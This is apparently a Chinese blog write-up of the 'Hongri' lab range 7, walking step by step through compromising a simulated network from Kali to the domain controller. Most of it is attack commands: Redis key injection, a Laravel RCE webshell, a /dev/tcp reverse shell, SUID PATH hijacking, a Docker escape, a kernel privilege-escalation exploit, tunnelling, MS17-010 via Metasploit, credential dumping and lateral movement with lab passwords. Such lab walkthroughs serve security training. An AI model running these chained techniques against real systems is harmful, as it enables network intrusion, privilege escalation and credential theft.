红日靶场七

靶场网络拓扑

Kali eth0 VMnet8:192.168.52.128

DMZ跳板机:Web1: VMnet8192.168.52.10

VMnet2 192.168.52.10

Web2: VMnet2192.168.52.20

VMnet14192.168.93.10

PC1:VMnet2192.168.52.30

VMnet14192.168.93.20

PC2:VMnet14 192.168.93.40

DMZ 区的 Ubuntu 需要启动 redis 和 nginx 服务:

sudo redis-server /etc/redis.conf
sudo /usr/sbin/nginx -c /etc/nginx/nginx.conf
sudo iptables -F

第二层网络的 Ubuntu 需要启动 docker 容器:

sudo service docker start
sudo docker start 8e172820ac78

第三层网络的 Windows 7 (PC 1)需要启动通达 OA:

C:\MYOA\bin\AutoConfig.exe
关闭waf否则无法访问OA

域用户信息

域用户账户和密码如下:

  • Administrator:Whoami2021
  • whoami:Whoami2021
  • bunny:Bunny2021
  • moretz:Moretz2021

Ubuntu 1:

  • web:web2021

Ubuntu 2:

  • ubuntu:ubuntu

通达 OA 账户:

  • admin:admin657260

WEB1 redis未授权写入SSH公钥

从web1开始ip为192.168.59.141

存在Redis未授权访问,可以写入redis服务器的/root/.ssh考虑写公钥
Laravel的 poc-yaml-laravel-cve-2021-3129

生成密钥ssh-keygen -t rsa

密钥文件再/root/.ssh/id_rsa.pub文件中

cat ~/.ssh/id_rsa.pub

ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCIjeU3z6TiAlhRDOnK5YGJ2Ggj30I0YFZggGCYu8A1jzoep+8ybmPMRwhA3+mU7pMTpI1a372xCwTcaJmeaQmSLobaxJYCKFEb5D8c36yu0J/OqUJNOgWgiGwXr3wtvP2nDqbyKbnhTebbBuEH+xQEgtHaSKlshF/WtmpKSA4+9WgHS5341nz94x6s5h7wu7jXJWShQRqLgiEbTR8vyzJ7XuVlYG2GMSpPIQYCYIUko9ZNW2/oyM6WiM8DfJktDTmXdMZeN6/Sxzv5BirV7HIy3scGJb3QT+0tDf/jSPbCF57xLb1gMusa8WIPQbSpeKIotmJ/c+bQIvKibQPxCCu8AcqCkEh+FHcN39XEtlRfO/91H/TGDXQ7ZhaUAIssm8Zm49o0XPfyFhkcPMsRHquqqgkE+xThu7jrO8ra5reeDWEqkONUkYmMBUq5i5Ke/LvDCsaVqNLgHyDY50nbuVB3jLKXjEyhzs6SVeiHuyDDJGq6RXI4DpIn95plfQ+JDv8= root@kali

用redis-cli -h <IP> 连接Redis服务器

redis-cli -h 192.168.59.141 -p 6379

config set dir /root/.ssh/
config set dbfilename authorized_keys
set marginl "\n\n\n\ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCIjeU3z6TiAlhRDOnK5YGJ2Ggj30I0YFZggGCYu8A1jzoep+8ybmPMRwhA3+mU7pMTpI1a372xCwTcaJmeaQmSLobaxJYCKFEb5D8c36yu0J/OqUJNOgWgiGwXr3wtvP2nDqbyKbnhTebbBuEH+xQEgtHaSKlshF/WtmpKSA4+9WgHS5341nz94x6s5h7wu7jXJWShQRqLgiEbTR8vyzJ7XuVlYG2GMSpPIQYCYIUko9ZNW2/oyM6WiM8DfJktDTmXdMZeN6/Sxzv5BirV7HIy3scGJb3QT+0tDf/jSPbCF57xLb1gMusa8WIPQbSpeKIotmJ/c+bQIvKibQPxCCu8AcqCkEh+FHcN39XEtlRfO/91H/TGDXQ7ZhaUAIssm8Zm49o0XPfyFhkcPMsRHquqqgkE+xThu7jrO8ra5reeDWEqkONUkYmMBUq5i5Ke/LvDCsaVqNLgHyDY50nbuVB3jLKXjEyhzs6SVeiHuyDDJGq6RXI4DpIn95plfQ+JDv8= root@kali\n\n\n"
save

第一句是修改Redis的数据文件保存目录,第二句是修改Redis保存数据库的文件名,由原来的dump.rdb修改为 authorized_keys ,既Redis保存时由原来的/var/lib/redis/dump.rdb 变为/root/.ssh/authorized_keys

ssh连接

ssh root@192.168.59.141 -i ~/.ssh/id_rsa

发现内网网卡192.168.52.10

把密码改为123456方便ssh,当然在MobaXterm上用ssh公钥也可以ssh

WEB2

之前fscan扫描出这个Laravel有poc-yaml-laravel-cve-2021-3129漏洞

下载利用工具https://github.com/SecPros-Team/laravel-CVE-2021-3129-EXP

必须使用哥斯拉3以下的版本才能连接

http://192.168.59.141:81//fuckyou.php 密码pass

2.96版本哥斯拉https://github.com/BeichenDream/Godzilla/releases/tag/v2.96-godzilla

java -jar Godzilla-V2.96.jar

网页权限是www-data,需要提权

Docker内提权

写个反弹shell

在web1的ubuntu中nc -lvnp 7777(web2连不到kali上)

在webshell中bash -c “bash -i >& /dev/tcp/192.168.52.10/7777 0>&1”

webshell连接上了

查找SUID文件find / -perm -4000 -type f 2>/dev/null

find / -perm -4000 -type f 2>/dev/null

/usr/bin/chsh

/usr/bin/gpasswd

/usr/bin/passwd

/usr/bin/newgrp

/usr/bin/chfn

/usr/bin/sudo

/home/jobs/shell

/bin/mount

/bin/su

/bin/umount

发现jobs用户目录下有个shell可执行文件

查看jobs目录下还有什么文件

有个demo.c文件,疑似是编译前的shell

#include<unistd.h>   // 提供 setuid, setgid 等函数声明
void main()         // 不规范:应该返回 int,且最好写成 int main(void)
{
    setuid(0);      // 尝试将实际用户ID设为 0 (root)
    setgid(0);      // 尝试将实际组ID设为 0 (root)
    system("ps");   // 调用 /bin/sh -c "ps" 执行命令
}

system("ps") 会在 PATH 环境变量指定的目录中搜索 ps 可执行文件。
攻击者可以修改 PATH,让程序优先找到恶意的 ps,从而以 root 权限执行任意代码。

shell文件利用过程

在可写目录(/tmp)创建一个一个名为 ps 的脚本

echo ‘#!/bin/sh\n/bin/bash -p’ > /tmp/ps

赋予执行权限

chmod +x /tmp/ps

将 /tmp 加到 PATH 最前面,然后运行 shell

PATH=/tmp:$PATH ./demo

echo -e '#!/bin/sh\n/bin/bash -p' > /tmp/ps && chmod +x /tmp/ps && PATH=/tmp:$PATH /home/jobs/shell

提权成功,用户为root

把会话变为交互式,依旧参考这两位大佬的

https://saucer-man.com/information_security/233.html
https://fushuling.com/index.php/2023/10/21/%E5%90%8E%E6%B8%97%E9%80%8F%E4%B9%8B%E6%96%87%E4%BB%B6%E4%B8%8B%E8%BD%BDlinux%E7%AF%87/

python -c "import pty;pty.spawn('/bin/bash')"
//或者 script /dev/null -c bash  #强制分配更完整 tty
ctrl+z
stty raw -echo; fg
reset
export TERM=xterm-256color
stty rows 55 columns 211

发现根目录有.dockerenv,是docker环境

docker逃逸

cat /proc/self/status | grep CapEff 查看docker是否是特权模式

CapEff: 0000003fffffffff

0000003fffffffff就是接近特权模式,可以挂载磁盘等操作

lsblk查看原机器磁盘

我的判断依据是SIZE大的sda为需要的磁盘

创建一个文件夹pass

挂载到pass mount /dev/sda1 /pass

查看目标主机是什么系统

cat /etc/os-release

ubuntu14.04.6,考虑把ssh写入/home/ubuntu/.ssh/authorized_keys因为ubuntu一般不允许ssh到root用户

写入ssh密钥逃逸

在Web1中生成ssh密钥

ssh-keygen -t rsa

写入web2中

echo 'ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDscSjZL2dTdZRMxnuYgcC1YjxxC7UfaKfYr6sNVA2ezUTHxt3uoD7J0FctIvCEtPtEVREjcjKUrr7uDqFqx8dDvRFd7Mv8uZKoR/qBxz4380dX0sWKKbj0KFcbIUONHT4BjOjCHyTMUMr17qe3KIcc+7+01+Vf22YJkL3enMcN/FOpi110Mn7MmnfNzEV1SVUsapRK2ShBSUy4T81YBYXDzuNTHksbwjCvCAdImO3xVaVlENg46P9KiXmqd4QArMtwuVEJI3HUuP7jDlEvGGMGz9Uk1kwEtYDe1LsCS2Gtrx23b+6d0SoYeiXIK2Y1ORW5oGVQzomM4oBHFyQxLLS/ root@ubuntu' > pass/home/ubuntu/.ssh/authorized_keys
ssh ubuntu@192.168.52.20 -i ~/.ssh/id_rsa

登入成功

uid=1000(ubuntu)还不是最高权限

系统是ubuntu14.04可以用CVE-2021-3493

CVE-2021-3493漏洞是Linux内核中overlayfs文件系统中的Ubuntu特定问题,在Ubuntu中没有正确验证关于用户名称空间的文件系统功能的应用程序。由于Ubuntu带有一个支持非特权的overlayfs挂载的补丁,因此本地攻击者可以使用它来进行提权操作,因此该漏洞对Linux的其他发行版没有影响。

影响版本

Ubuntu 20.10

Ubuntu 20.04 LTS

Ubuntu 18.04 LTS

Ubuntu 16.04 LTS

Ubuntu 14.04 ESM

(Linux内核版本 < 5.11)

https://github.com/briskets/CVE-2021-3493

把exploit.c传到Web1中,让Web2用wget下载

Web1中:python3 -m http.server 8888

Web2中wget 192.168.52.10:8888/exploit.c

进行编译gcc exploit.c -o exploit

运行exploit ./exploit

id=0提权成功

用Web1搭建内网隧道

在本机Windows中:windows_x64_admin.exe -l 9999

在Web1中:./linux_x64_agent -c 192.168.59.1:9999

在Windows中分配流量

(admin) >> use 0

(node 0) >> socks 7777

用代理插件ProxyBridge

配置kali的socks

vim /etc/proxychains4.conf

配置一下浏览器的socks5

PC1

传fscan扫描内网

是一个通达OA,找利用工具

有一个文件上传漏洞,可以写一个马

普通的马好像没法用,找一个蚁剑不死马

查看二层网卡ip

192.168.93.20为他的第二层内网ip

搭建二层代理

上传windows_x64_agent.exe搭建第二层隧道

在主机windows上

(node 0) >> listen 后输入12345,端口为12345

在目标机上 windows_x64_agent.exe -c 192.168.52.10:12345

(admin) >> detail

(admin) >> use 1

(node 1) >> socks 10800

在kali上配置好proxychains

PC2

用fscan扫描一下

fscan -h 192.168.93.0/24 -socks5 192.168.59.1:10800 -np

发现192.168.93.40有445端口

MC_010

MS_010启动

msfconsole
use exploit/windows/smb/ms17_010_eternalblue
set proxies socks5:192.168.59.1:10800
set payload windows/x64/meterpreter/bind_tcp
set RhOSTS 192.168.93.40
set lport 443
run

打进去了

是个system权限

找一个带有 NT AUTHORITY\SYSTEM的64位进程注入一下

抓取用户凭证

migrate 488

load kiwi

提示不是SYSTEM?getsystem

拿到域管凭证

域名是whoamianont.org

域控凭证登录

进行psexec横向移动

加入内网路由(不知道为什么用PC1的流量转发创建不了会话)

在PC2的会话中
msf > route add 192.168.93.0 255.255.255.0 2
use exploit/windows/smb/psexec
set RHOSTS 192.168.93.30
set proxies socks5:192.168.59.1:10800
set SMBUser Administrator
set SMBPass Whoami2021
set SMBDomain whoamianony.org
set payload windows/x64/meterpreter/reverse_tcp
set LPORT 443
run

好像又失败了……

直接用evil-winrm登录吧,感觉比其他的smb登录工具好用一些

proxychains evil-winrm -i 192.168.93.30 -u 'whoamianony.org\Administrator' -p 'Whoami2021'

拿下域控了

思路:Kali -> Redis未授权 -> Web1 -> Laravel -> Web2 -> 一级隧道 -> PC1(OA) -> 二级隧道 -> PC2(MS17-010) -> 凭据获取 -> DC

文末附加内容
暂无评论

发送评论 编辑评论


				
|´・ω・)ノ
ヾ(≧∇≦*)ゝ
(☆ω☆)
(╯‵□′)╯︵┴─┴
 ̄﹃ ̄
(/ω\)
∠( ᐛ 」∠)_
(๑•̀ㅁ•́ฅ)
→_→
୧(๑•̀⌄•́๑)૭
٩(ˊᗜˋ*)و
(ノ°ο°)ノ
(´இ皿இ`)
⌇●﹏●⌇
(ฅ´ω`ฅ)
(╯°A°)╯︵○○○
φ( ̄∇ ̄o)
ヾ(´・ ・`。)ノ"
( ง ᵒ̌皿ᵒ̌)ง⁼³₌₃
(ó﹏ò。)
Σ(っ °Д °;)っ
( ,,´・ω・)ノ"(´っω・`。)
╮(╯▽╰)╭
o(*////▽////*)q
>﹏<
( ๑´•ω•) "(ㆆᴗㆆ)
😂
😀
😅
😊
🙂
🙃
😌
😍
😘
😜
😝
😏
😒
🙄
😳
😡
😔
😫
😱
😭
💩
👻
🙌
🖕
👍
👫
👬
👭
🌚
🌝
🙈
💊
😶
🙏
🍦
🍉
😣
Source: github.com/k4yt3x/flowerhd
颜文字
Emoji
小恐龙
花!
上一篇
下一篇